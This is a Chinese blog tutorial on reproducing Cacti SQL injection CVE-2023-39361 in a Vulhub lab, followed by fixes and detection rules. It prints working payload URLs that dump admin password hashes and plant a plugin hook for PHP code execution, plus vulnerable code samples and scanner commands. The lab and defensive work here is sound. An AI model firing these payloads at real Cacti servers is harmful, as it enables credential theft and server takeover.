手把手教你用Vulhub复现 cacti CVE-2023-39361漏洞(附完整POC)

0 阅读5分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

漏洞编号: CVE-2023-39361
影响版本: Cacti ≤ 1.2.24(官方安全通告披露)
漏洞类型: SQL Injection(SQL 注入)
攻击面: graph_view.php 接口
数据库: MySQL
公开利用: 已有 PoC,实战可复现

漏洞原理

Cacti 是一款基于 PHP/MySQL 的开源网络监控和图形工具。在版本 1.2.24 及其早期版本中,存在一个严重的 SQL 注入漏洞(CVE-2023-39361)。该漏洞出现在 graph_view.php 文件的树状视图加载逻辑中,由于对 rfilter 参数的过滤不当,导致未经身份验证的攻击者可以读取数据库敏感信息。

该漏洞的攻击链展示了攻击者如何利用受影响的 URL 参数,通过 UNION 注入技术获取管理员账号凭证。

  1. 确定漏洞端点:攻击者访问 graph_view.php,通常这是用户查看图形树的公开或低权限页面。
  2. 构造注入请求:在 rfilter 参数中注入恶意 SQL,通过精心构造的闭合符号(如 ") OR ""="((")破坏原有 SQL 结构。
  3. 数据拼接与执行:Cacti 后端将 rfilter 的值直接拼接到数据库查询语句中,并发送给 MySQL 执行。
  4. 结果外泄:由于查询结果会被回显在页面渲染的树状结构或 JSON 响应中,攻击者可以从特定的列(如第 3、7、8 列)读取到数据库版本、当前用户以及 user_auth 表中的 MD5 密码哈希。

1️⃣ 漏洞根因

graph_view.php 文件中:参数:action=tree_content node=1-1-tree_anchor rfilter=...,其中:rfilter被直接拼接进 SQL 语句中,没有进行参数化处理或严格过滤。

2️⃣ 漏洞逻辑还原(基于真实修复补丁分析)

❌ 漏洞代码逻辑(简化)

$rfilter = $_GET['rfilter'];

$sql = "SELECT id, title FROM graph_tree_items 
        WHERE title LIKE '%$rfilter%'";

$result = db_fetch_assoc($sql);


如果输入:rfilter=aaaaaaa" OR ""=((")) UNION SELECT ...,则 SQL 变为:

SELECT id, title FROM graph_tree_items 
WHERE title LIKE '%aaaaaaa" OR ""=((")) 
UNION SELECT ...


👉 UNION 注入成立
👉 可读取 user_auth 表
👉 泄露管理员账号密码

DFD 数据流图 + STRIDE 威胁建模

1️⃣ 数据流图(DFD)

[Attacker]
     |
     | HTTP GET rfilter=
     v
[graph_view.php]
     |
     | 拼接 SQL
     v
[MySQL]
     |
     v
[user_auth]


STRIDE 威胁分析

类型是否存在说明
Spoofing不需要登录
Tampering修改 SQL 结构
Repudiation⚠️日志可混淆
Information Disclosure用户密码泄露
DoS⚠️可构造 heavy query
Elevation登录后台

漏洞复现原理图示说明

攻击流程:
1. 攻击者访问 graph_view.php 页面(公开或低权限)。
2. 构造恶意 rfilter 参数,例如:
   ?rfilter=") OR ""="((" UNION SELECT 1,version(),3,4,5,6,user(),8,9 -- 
3. Cacti 后端将 rfilter 直接拼接到 SQL 查询中。
4. 数据库执行恶意 SQL,返回结果(如 version() 和 user())。
5. 攻击者从页面渲染的树状结构或 JSON 响应中提取数据。

1️⃣ 正常 SQL

SELECT id, title FROM graph_tree_items WHERE title LIKE '%aaaa%'

2️⃣ 注入后 SQL

SELECT id, title FROM graph_tree_items
WHERE title LIKE '%aaaaaaa" OR ""=(("))
UNION SELECT 1,2,(select concat(id,0x23,username,0x23,password) 
from user_auth limit 1),4,5,6,
(select user()),
(select version()),
9,10#


3️⃣ 返回数据结构 由于 UNION 列数匹配:1 | 2 | 1#admin#$2y$10$xxxxxx | 4 | ...敏感数据直接回显。

漏洞复现

安装导向,逐步解析。

Snipaste_2026-02-02_23-02-40.png

Snipaste_2026-02-02_23-03-45.png

Snipaste_2026-02-02_23-04-02.png

Snipaste_2026-02-02_23-04-15.png

Snipaste_2026-02-02_23-04-25.png

Snipaste_2026-02-02_23-04-36.png

Snipaste_2026-02-02_23-04-47.png

Snipaste_2026-02-02_23-05-00.png

Snipaste_2026-02-02_23-05-12.png

Snipaste_2026-02-02_23-05-29.png

Snipaste_2026-02-02_23-05-45.png 大多数都是默认状态,记录过度了。下次只记录或放出关键的几步。

Snipaste_2026-02-02_23-06-10.png

以管理员身份登录(弱口令),导航至Configuration -> Authentication页面,并启用guest用户。

Snipaste_2026-02-02_23-08-45.png

目录扫描结果,与其他工具测试。

Snipaste_2026-02-03_01-29-51.png 这里goby熟练程度还不是非常熟练,个人建议如果非必要或者由于kali的便捷性,工具还是在物理机Windows安装。

目录扫描工具的安装。

Snipaste_2026-02-03_18-33-55.png

Snipaste_2026-02-03_18-37-30.png

目录扫描的命令。

gobuster dir -u http://192.168.0.32:8080/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txt -t 50

ffuf -u http://192.168.0.32:8080/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.bak,.txt -t 50 -fs 0


ffuf -u http://192.168.0.32:8080/FUZZ \
  -w /usr/share/wordlists/dirb/common.txt \
  -e .php,.bak,.txt,.json \
  -recursion \
  -recursion-depth 1 \
  -t 40 \
  -fs 1234  # 假设1234404页面的大小
  
 dirsearch -u http://192.168.0.32:8080/ -e php,bak,txt -r -R 2 --exclude-status 403,404,500,401


dirsearch和fuff递归扫描

Snipaste_2026-02-03_18-39-02.png

Snipaste_2026-02-03_18-43-33.png

Snipaste_2026-02-03_18-44-08.png 由此来看dirsearch的递归扫描功能更顺手结果也更加直观。

使用基本字典进行扫描。如果不行,在使用中型字典和大型字典。

Snipaste_2026-02-03_00-07-48.png

Snipaste_2026-02-03_00-08-05.png

Whatweb和Wappalyzer指纹识别结果,这里不对可以利用的漏洞进行示范,因为这里只是展示指纹识别工具的使用。

Snipaste_2026-02-02_23-26-48.png 该漏洞位于graph_view.php文件中的grow_right_pane_tree函数内。当action参数设置为'tree_content'时,用户输入的rfilter参数由html_validate_tree_vars函数验证。然而,这种验证仅确保输入是有效的正则表达式,无法防止SQL注入。

要利用此漏洞,向graph_view.php端点发送带有以下参数的请求:

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23

Snipaste_2026-02-02_23-39-15.png

Snipaste_2026-02-02_23-42-31.png 这里贴出俩个等效的截图。

首先,添加一个指向log/cacti.log文件的新插件钩子:

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa"%20OR%20""="(("));INSERT%20INTO%20plugin_hooks(name,hook,file,status)%20VALUES%20(".","login_before","../log/cacti.log",1);%23

Snipaste_2026-02-03_00-58-31.png

然后,利用报错SQL注入,将PHP代码写入log/cacti.log文件:

Snipaste_2026-02-03_01-00-36.png 最后,我们能够清晰地看到我们的PHP代码执行成功。

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,3,4,5,6,updatexml(rand(),concat(0x7e,"<?php%20phpinfo();?>",0x7e),null),8,9,10%23

Snipaste_2026-02-03_01-04-54.png

修复建议

  1. 立即升级:更新至 Cacti 1.2.25 或更新版本。
  2. 使用参数化查询:在所有涉及用户输入的 SQL 查询中,强制使用 db_fetch_assoc_prepared 等预处理函数。
  3. 强化输入校验:使用 get_filter_request_var() 函数对敏感参数进行类型和格式约束,严禁直接使用全局变量。
  4. Web 应用防火墙 (WAF):部署 WAF 规则,拦截包含 UNION SELECTOR ""=" 等特征的请求。

伪代码级修复示例

官方修复的主要思路是使用 Cacti 内部的安全包装函数对请求变量进行强制过滤。

❌ 漏洞代码(lib/html_tree.php 逻辑示意)

// 危险逻辑:直接从全局参数中提取变量并拼接到 SQL
$rfilter = get_request_var('rfilter'); 

// 拼接 SQL 语句,没有任何预处理
$sql = "SELECT ... 
        FROM graph_templates_graph 
        WHERE title LIKE '%" . $rfilter . "%' 
        ORDER BY title";

$results = db_fetch_assoc($sql); // 直接执行拼接的字符串

✅ 修复后代码(详细具体)

// 1. 使用 Cacti 专用的安全获取函数,指定类型为字母数字/特定字符
// 如果输入不符合预定义模式,该函数将直接抛出异常或返回空
$rfilter = get_filter_request_var('rfilter'); 

// 2. 构造参数化查询的 SQL 模板,使用占位符 ? 代替直接拼接
$sql = "SELECT 
            gtg.id, gtg.title, gtg.height, gtg.width 
        FROM graph_templates_graph AS gtg
        INNER JOIN graph_local AS gl ON gtg.local_graph_id = gl.id
        WHERE gtg.title LIKE ? 
        ORDER BY gtg.title";

// 3. 将用户输入作为参数绑定到查询中,数据库驱动会自动处理转义
$params = array('%' . $rfilter . '%');

// 调用带有预处理能力的数据库函数
$results = db_fetch_assoc_prepared($sql, $params);

❌ 漏洞写法

$rfilter = $_GET['rfilter'];

$sql = "SELECT id,title FROM graph_tree_items
        WHERE title LIKE '%$rfilter%'";

✅ 安全写法(参数化)

$rfilter = $_GET['rfilter'];

$stmt = $pdo->prepare(
    "SELECT id,title FROM graph_tree_items
     WHERE title LIKE ?"
);

$stmt->execute(["%$rfilter%"]);


✅ 增加白名单限制

if (preg_match('/[^a-zA-Z0-9_\- ]/', $rfilter)) {
    die("Invalid input");
}

基于此漏洞的检测与防护规则

WAF 匹配规则 (ModSecurity)

# 拦截针对 rfilter 参数的 UNION 注入
SecRule REQUEST_URI "@contains graph_view.php" \
    "chain,id:202339361,phase:2,deny,status:403,msg:'Cacti CVE-2023-39361 SQLi Attempt'"
SecRule ARGS:rfilter "@rx (?i)(union\s+select|OR\s+\".*\"=)" \
    "t:urlDecode,t:lowercase"

IDS 拦截规则 (Suricata)

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Cacti rfilter SQLi (CVE-2023-39361)"; flow:established,to_server; content:"graph_view.php"; http_uri; content:"rfilter="; http_uri; pcre:"/rfilter=.*(%20| )union(%20| )select/Ui"; classtype:web-application-attack; sid:202339361; rev:1;)

基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,对所有进入 Cacti 的请求进行预处理,拦截包含恶意 rfilter 参数的请求。 1.1 Flask 中间件:检测 rfilter 参数中的注入特征

# cacti_proxy.py
import re
import time
from flask import Flask, request, abort, jsonify

app = Flask(__name__)

# 敏感路径
SENSITIVE_PATHS = ['/graph_view.php']

# SQL 注入特征正则(针对 UNION 注入)
SQLI_PATTERNS = [
    re.compile(r'union\s+select', re.I),
    re.compile(r'select\s+.*\s+from', re.I),
    re.compile(r'version\s*\(', re.I),
    re.compile(r'user\s*\(', re.I),
    re.compile(r'database\s*\(', re.I),
    re.compile(r'--', re.I),
    re.compile(r'#', re.I),
    re.compile(r';', re.I),
    re.compile(r"'", re.I),
    re.compile(r'"', re.I),
]

def check_rfilter_for_injection(value):
    """检查 rfilter 参数值是否包含 SQL 注入特征"""
    if not isinstance(value, str):
        return False
    for pattern in SQLI_PATTERNS:
        if pattern.search(value):
            return True
    return False

# 简单的会话验证(Cacti 前台可能无需登录)
def is_authenticated():
    # 可根据 cookie 判断,此处仅示例
    return False

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=20, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 只处理 graph_view.php
    if request.path not in SENSITIVE_PATHS:
        return

    # 2. 检查 rfilter 参数
    rfilter = request.args.get('rfilter')
    if rfilter and check_rfilter_for_injection(rfilter):
        log_attack(request, 'sqli_in_rfilter', rfilter)
        abort(403, description='Malicious SQL injection detected')

    # 3. 速率限制(防止扫描)
    if not is_authenticated() and rate_limit(request.remote_addr):
        abort(429, description='Too many requests')

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type, payload):
    with open('cacti_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type} - {payload}\n")

# 转发请求到后端 Cacti
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发到 Cacti 服务器(如 http://localhost:80)
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

基于 TensorFlow 的异常行为检测

利用机器学习模型识别针对 Cacti graph_view.php 的异常请求模式,特别是对 rfilter 参数的异常构造。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • has_rfilter: 是否存在 rfilter 参数(0/1)
  • rfilter_length: rfilter 参数值的长度
  • rfilter_digit_ratio: 参数值中数字的比例
  • rfilter_letter_ratio: 参数值中字母的比例
  • rfilter_special_char_count: 特殊字符(如 ', ", (, ), ;)的数量
  • has_union: 是否包含 union select (0/1)
  • has_sql_function: 是否包含 SQL 函数(如 version, user)
  • has_comment: 是否包含注释符(--, #)
  • hour: 请求小时
  • ip_reputation: IP 信誉分
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    features = [
        request_entry.get('has_rfilter', 0),
        request_entry.get('rfilter_length', 0),
        request_entry.get('rfilter_digit_ratio', 0),
        request_entry.get('rfilter_letter_ratio', 0),
        request_entry.get('rfilter_special_char_count', 0),
        request_entry.get('has_union', 0),
        request_entry.get('has_sql_function', 0),
        request_entry.get('has_comment', 0),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('cacti_sqli_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('cacti_sqli_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存获取历史统计(如Redis)
    return {'freq_10min': 0}

def ip_reputation(ip):
    return 0

@app.before_request
def before_request():
    # ... 之前的基础检测 ...

    if request.path in SENSITIVE_PATHS:
        rfilter = request.args.get('rfilter')
        if rfilter:
            request_entry = {
                'ip': request.remote_addr,
                'has_rfilter': 1,
                'rfilter_length': len(rfilter),
                'rfilter_digit_ratio': sum(c.isdigit() for c in rfilter) / len(rfilter) if len(rfilter) > 0 else 0,
                'rfilter_letter_ratio': sum(c.isalpha() for c in rfilter) / len(rfilter) if len(rfilter) > 0 else 0,
                'rfilter_special_char_count': sum(not c.isalnum() for c in rfilter),
                'has_union': 1 if re.search(r'union\s+select', rfilter, re.I) else 0,
                'has_sql_function': 1 if re.search(r'version|user|database', rfilter, re.I) else 0,
                'has_comment': 1 if re.search(r'--|#', rfilter) else 0,
                'user_agent': request.headers.get('User-Agent', ''),
                'is_auth': is_authenticated(),
                'timestamp': datetime.now()
            }
            history = get_ip_history(request.remote_addr)
            if predict_anomaly(request_entry, history):
                log_attack(request, 'ml_anomaly', rfilter)
                abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截对 Cacti graph_view.php 的 SQL 注入尝试。 3.1 基础规则

# modsecurity_crs_80_cacti_cve_2023_39361.conf

# 规则1:检测 rfilter 参数中的 UNION SELECT
SecRule ARGS:rfilter "@rx (?i)union\s+select" \
    "id:1017001,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'Cacti CVE-2023-39361 - UNION SELECT injection',\
    logdata:'Matched: %{MATCHED_VAR}',\
    tag:'attack-sqli',\
    tag:'cve-2023-39361',\
    severity:'CRITICAL'"

# 规则2:检测 rfilter 参数中的注释符
SecRule ARGS:rfilter "@rx (--|#)" \
    "id:1017002,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'Cacti SQL injection - comment detected',\
    tag:'attack-sqli',\
    severity:'HIGH'"

# 规则3:检测 rfilter 参数中的 SQL 函数
SecRule ARGS:rfilter "@rx (?i)(version|user|database)\s*\(" \
    "id:1017003,\
    phase:2,\
    t:none,\
    deny,\
    status:403,\
    msg:'Cacti SQL injection - SQL function',\
    tag:'attack-sqli',\
    severity:'HIGH'"

# 规则4:对 graph_view.php 进行速率限制
SecRule REQUEST_URI "@endsWith /graph_view.php" \
    "id:1017004,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'Cacti graph_view.php rate limiting',\
    setvar:'tx.cacti_graph_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.cacti_graph_counter_%{REMOTE_ADDR}=60'"
SecRule TX:cacti_graph_counter_%{REMOTE_ADDR} "@gt 30" \
    "id:1017005,\
    phase:1,\
    block,\
    msg:'Too many requests to graph_view.php',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name cacti.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location /graph_view.php {
        proxy_pass http://cacti-backend/graph_view.php;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:Cacti CVE-2023-39361 SQL 注入漏洞通过 rfilter 参数实现 UNION 注入。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用受影响版本的用户立即采取行动。